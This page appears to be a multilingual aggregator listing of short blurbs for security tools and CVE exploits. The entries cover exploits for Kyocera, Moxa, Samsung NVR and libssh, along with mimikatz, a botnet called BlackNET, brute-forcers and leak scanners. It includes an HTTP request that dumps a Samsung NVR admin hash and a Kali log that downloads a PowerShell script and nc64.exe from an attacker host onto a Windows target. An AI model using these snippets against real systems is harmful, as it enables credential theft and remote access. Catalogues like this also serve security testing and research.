KyoceraCredsDump

KyoceraCredsDump - CVE-2022-1026 Based on the original exploit from Aaron Herndon, @ac3lives Rapid7 - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/ credits to Aaron Herndon / https://twitter.com/ac3lives /...

CVE-2024-21413-Vulnerabilidad-Outlook-LAB

CVE-2024-21413 – Outlook LAB Vulnerability Vulnerability Description CVE-2024-21413 is a critical vulnerability discovered in Microsoft Outlook that allows a remote attacker to execute malicious links via a carefully crafted email. This exploit uses the file:// protocol to redirect victims to...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

GitSecure

GitSecure 关于 GitSecure GitSecure 是一个 GitHub Action，可用于在推送和拉取请求中警告安全团队任何暴露的 API 密钥。当在 GitHub 仓库中添加或修改文件时，此操作将被触发，并开始在系统中寻找暴露的凭据。找到令牌后，它将通过 Slack Webhook 通知团队。 设置 GitSecure 的设置很简单，不需要太多麻烦。 1. 创建一个 Slack Webhook 你可以通过访问 https://api.slack.com 并创建一个应用来创建 Slack Webhook。创建应用时，选择其为传入 Webhook，并将 Webhook...

wifiphisher

概要...

MoxaPass

这是针对 CVE-2016-9361 的示例漏洞利用代码。它可获取多种 Moxa 设备的 SNMP 团体字符串和 'admin' 密码。 它使用 Moxa 专有的 UDP/4800 管理协议。该协议缺乏安全性，使用 'unlock' 功能码时无需密码。 已知此漏洞影响所有 Moxa NPort 5xxx 系列、MGate MB3170（可能还有其他 MGate 设备）以及部分 OnCell 设备。 该问题于 2015 年 7 月首次报告给 Moxa，截至 2017 年 1 月仍未修复。 此脚本仅用于教育与非商业目的。请勿在未获授权测试的系统上使用。...

CVE-2019-17240_Bludit-BF-Bypass

CVE-2019-17240 Exploit/PoC - Bludit 暴力破解缓解绕过 针对 CVE-2019-17240（又名 Bludit = 3.9.2 暴力破解缓解绕过）的漏洞利用代码 漏洞利用链接: ExploitDB-48942 PacketStorm 预期结果：发现登录凭据，绕过运行 Bludit =3.9.2 的主机上的暴力破解机制。 仅用于企业环境中的教育和测试。 此漏洞利用已在 Python 3.8.6 上测试。 用法 root@kitploit: cfx: /bludit → ./exploit.py -h usage: exploit.py -h -l URL ...

RTSPbrute

RTSPBrute Cameradar に触発されました 機能 任意のターゲットでアクセス可能なRTSPストリーム を検出 ストリームルート をブルートフォース 認証情報 をブルートフォース アクセス可能なストリームのスクリーンショットを取得 結果のユーザーフレンドリーなレポート を生成: .txt ファイル：見つかった各ストリームを新しい行に .html ファイル：各ストリームのスクリーンショット付き レポートファイル result.txt: 各ターゲットが新しい行に記載されています。VLCにインポートするには、拡張子を .m3u に変更してVLCで開きます index.html:...

social-engineer-toolkit

The Social-Engineer Toolkit SET The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd First, get the MD5 hash password of the 'admin' account. Send: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2025-50154

NTLM/SMB Hardening & Threat Hunt Toolkit Author: w01f Version: 1.0 Purpose: Audit, harden, and hunt for insecure NTLM/SMB usage to mitigate risks such as CVE-2025-50154. CVE-2025-50154 Overview Severity: High Type: NTLM Credential Leak + Patch Bypass Zero-Click Affected: Windows 10/11, Windows...

vxworks_hash

vxworkshash 用于逆向 vxworks 5.x 密码哈希的代码 这现在已经非常老旧了！: 更多信息请参见我的博客文章：http://cvk.posthaven.com/how-to-crack-vxworks-password-hashes...

BlackNET

BlackNET 😈 Free advanced and modern Windows botnet with a nice and secure PHP panel developed using VB.NET. About BlackNET 🤓 Free advanced and modern Windows botnet with a nice and secure PHP panel built using VB.NET. this botnet controller comes with a lot of features and the most secure panel f...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

trufflehog

TruffleHog 发现泄露的凭证。 🔎 正在扫描 ……以及更多 要了解 TruffleHog 及其功能和能力的更多信息，请访问我们的产品页面。 🌐 TruffleHog Enterprise 您是否有兴趣持续监控 Git、Jira、Slack、Confluence、Microsoft Teams、Sharepoint（以及更多） 中的凭证？我们有一个企业产品可以提供帮助！了解更多信息请访问 。...

CVE-2025-29705

CVE-2025-29705 CVE-2025-29705 Introduction code-gen: A code generation tool that allows custom templates to generate different code, supporting MySQL, Oracle, SQL Server, PostgreSQL https://gitee.com/durcframework/code-gen This project has no access control, allowing anyone to freely access such...

mimikatz

mimikatz mimikatz 是我为了学习 C 语言并进行一些 Windows 安全实验而编写的工具。 它如今以从内存中提取明文密码、哈希、PIN 码和 Kerberos 票据而闻名。mimikatz 还可以执行哈希传递（pass-the-hash）、票据传递（pass-the-ticket）或构建黄金票据（Golden tickets）。 root@kitploit: .. mimikatz 2.0 alpha x86 release "Kiwi en C" Apr 6 2014 22:02:03 . ^ . / \ / \ / Benjamin DELPY gentilkiwi...

veeam-cve-2023-27532-mock

CVE-2023-27532 - Veeam Backup & Replication 漏洞 漏洞描述 Veeam Backup & Replication 存在一个漏洞，可获取存储在配置数据库中的加密凭据，从而使攻击者能够访问备份基础设施主机。 Nuclei 模板 模板 veeam-cve-2023-27532.yaml 提供了使用多种检测方法对该漏洞进行全面的检测。 测试环境搭建 使用 Docker（推荐） root@kitploit: 构建 Docker 镜像 docker build -t veeam-cve-test . 运行容器 docker run -p 8080:8080...

CVE-2018-10933

服务器代码中的身份验证绕过 CVE-2018-10933 Versions 0.7.6 to 0.8.4 描述 libssh 0.6及以上版本在服务器代码中存在一个身份验证绕过漏洞。通过向服务器发送SSH2MSGUSERAUTHSUCCESS消息以替代服务器期望用于启动身份验证的SSH2MSGUSERAUTHREQUEST消息，攻击者可以在没有任何凭据的情况下成功通过身份验证。 该漏洞由NCC集团的Peter Winter-Smith发现。 安装 该漏洞的POC演示以docker映像形式提供。 root@kitploit: cd ./CVE-2018-10933/docker...